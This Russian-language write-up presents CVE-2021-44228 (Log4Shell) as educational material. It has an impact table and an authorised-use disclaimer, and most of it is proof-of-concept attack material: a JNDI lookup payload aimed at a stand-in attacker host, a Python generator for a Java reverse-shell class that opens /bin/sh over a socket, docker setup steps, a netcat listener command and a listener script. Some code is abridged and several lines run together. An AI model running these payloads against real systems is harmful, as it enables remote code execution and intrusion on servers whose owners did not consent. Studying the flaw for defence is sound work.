
Образовательный анализ CVE-2021-44228 (Log4Shell) с PoC-скриптами, разбором вектора атаки и руководством по смягчению для понимания и тестирования критической RCE-уязвимости в Apache Log4j.
Критическое воздействие (CVSS 10.0) | Обнаружена в 2021 году, эта ошибка в Apache Log4j позволяет удаленное выполнение кода (RCE) и затрагивает миллионы систем по всему миру. Даже сегодня это ключевое напоминание для кибербезопасности!
CVE-2021-44228, известная как Log4Shell, — это критическая уязвимость удаленного выполнения кода (RCE) в библиотеке логирования Apache Log4j 2. Эта ошибка позволяет злоумышленникам выполнять произвольный код на уязвимых серверах, просто отправляя специально сформированную текстовую строку, которую регистрирует приложение.
Log4Shell — не единственная; она породила CVE-2021-45046 (RCE/DoS), CVE-2021-45105 (DoS) и CVE-2021-4104 (RCE в Log4j 1.2).
Суть проблемы — небезопасная обработка JNDI (Java Naming and Directory Interface) в Log4j, который выполняет удаленные lookups без санитизации.
${jndi:ldap://atacante.com:1389/Exploit}
Как это работает:
${...} и активирует lookup JNDI.Эксплуатируемые протоколы: LDAP, RMI, DNS, IIOP и др. Это позволяет реализовывать такие угрозы, как:
Цепочка заражения (Kill Chain):
| Характеристика | Детали |
|---|---|
| Оценка CVSS v3.1 | 10.0 (КРИТИЧЕСКИЙ) 🔥 — Максимально возможная серьезность. |
| Затронутые версии | Log4j 2.0-beta9 — 2.14.1 (включая производные до 2.16.0 для под-CVE). |
| Корневая причина | Подстановка сообщений JNDI без проверки; включенные удаленные lookups. |
| Векторы | Удаленный, без аутентификации; влияет на Java 8+ в веб/облачных приложениях. |
| Затронутые продукты | Apache Struts, Solr, Druid, Elasticsearch, Dubbo, VMware vCenter и др. |
| Эксплуатация | Легкая: публичные PoC на GitHub; не требует привилегий. |
Статистика воздействия:
90% облачных сред изначально подверглись риску.
⚠️ Предупреждение: Этот материал предназначен исключительно для образовательных целей и авторизованного тестирования. Не используйте его в системах без явного разрешения. Эксплуатация уязвимостей без разрешения незаконна (например, нарушает такие законы, как CFAA в США). Всегда проводите этичный пентeст.
На основе публичных репозиториев, таких как kozmer/log4j-shell-poc, здесь приведен упрощенный обзор PoC в контролируемых средах (например, локальный Docker/VM).
git clone https://github.com/kozmer/log4j-shell-poc.git && cd log4j-shell-poc/docker build -t log4j-vuln . && docker run --network host -p 8080:8080 log4j-vuln/usr/bin/jdk1.8.0_202).#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = f"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {{
public Exploit() throws Exception {{
String host="{userip}";
int port={lport};
String cmd="/bin/sh";
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
// ... (упрощенный код reverse shell)
}}
}}
"""
p = CUR_FOLDER / "Exploit.java"
try:
p.write_text(program)
subprocess.run([f"{CUR_FOLDER}/jdk1.8.0_202/bin/javac", str(p)])
print(Fore.GREEN + '[+] Класс Exploit успешно сгенерирован')
except Exception as e:
print(Fore.RED + f'[-] Ошибка: {e}')
# ... (функции для LDAP-сервера и веб-сервера, аналогичные оригинальным)
def main():
init(autoreset=True)
print(Fore.BLUE + "[!] Образовательная PoC для CVE-2021-44228 — Используйте только в лабораторных условиях!")
# Аргументы: --userip localhost --webport 8000 --lport 9001
# Запускает LDAP, веб-сервер и генерирует пейлоуд
if __name__ == "__main__":
main()
python3 poc.py --userip 127.0.0.1 --webport 8000 --lport 9001nc -lvnp 9001 — Мониторинг reverse shell.${jndi:ldap://127.0.0.1:1389/a} в поле входа/поиска.Простой PoC на Python (слушатель + эксплойт): Для быстрых демонстраций используйте эту пару скриптов (сначала запустите слушатель).
listener.py:
import socket
import threading
def start_listener(ip, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((ip, port))
server.listen(1)
print(f"[*] Слушатель на {ip}:{port}...")
conn, addr = server.accept()
print(f"[+] Подключение от {addr}")
data = conn.recv(4096)
print(data.decode('utf-8', errors='ignore'))
conn.close()